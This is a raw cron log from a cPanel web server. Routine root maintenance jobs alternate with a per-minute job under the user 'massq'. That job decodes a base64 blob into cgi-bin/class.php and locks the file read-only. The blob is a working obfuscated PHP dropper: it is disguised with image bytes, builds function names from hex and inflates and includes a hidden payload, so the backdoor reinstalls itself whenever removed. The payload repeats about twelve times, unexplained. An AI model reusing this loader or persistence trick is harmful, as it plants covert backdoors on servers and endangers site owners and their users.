Sep 10 01:13:01 server CROND[16033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:13:01 server CROND[16034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:14:01 server CROND[16402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:14:01 server CROND[16403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:14:01 server CROND[16404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:15:01 server CROND[16870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:15:01 server CROND[16869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:15:01 server CROND[16878]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:15:01 server CROND[16880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:15:01 server CROND[16884]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 01:15:01 server CROND[16883]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:15:01 server CROND[16881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:15:01 server CROND[16885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:16:01 server CROND[17708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:16:01 server CROND[17707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:16:01 server CROND[17709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:17:01 server CROND[18141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:17:01 server CROND[18142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:17:01 server CROND[18143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:18:01 server CROND[18524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:18:01 server CROND[18525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:18:01 server CROND[18526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:19:01 server CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:19:01 server CROND[18937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:19:01 server CROND[18938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:20:01 server CROND[19322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:20:01 server CROND[19327]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:20:01 server CROND[19326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:20:01 server CROND[19325]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:20:01 server CROND[19329]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 01:20:01 server CROND[19331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:20:01 server CROND[19324]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:20:01 server CROND[19330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:20:01 server CROND[19328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:21:01 server CROND[20208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:21:01 server CROND[20209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:21:01 server CROND[20210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:22:01 server CROND[20681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:22:01 server CROND[20682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:22:01 server CROND[20683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:23:01 server CROND[21070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:23:01 server CROND[21071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:23:01 server CROND[21072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:24:01 server CROND[21554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:24:01 server CROND[21555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:24:01 server CROND[21556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:25:01 server CROND[21931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:25:01 server CROND[21937]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:25:01 server CROND[21938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:25:01 server CROND[21940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:25:01 server CROND[21941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
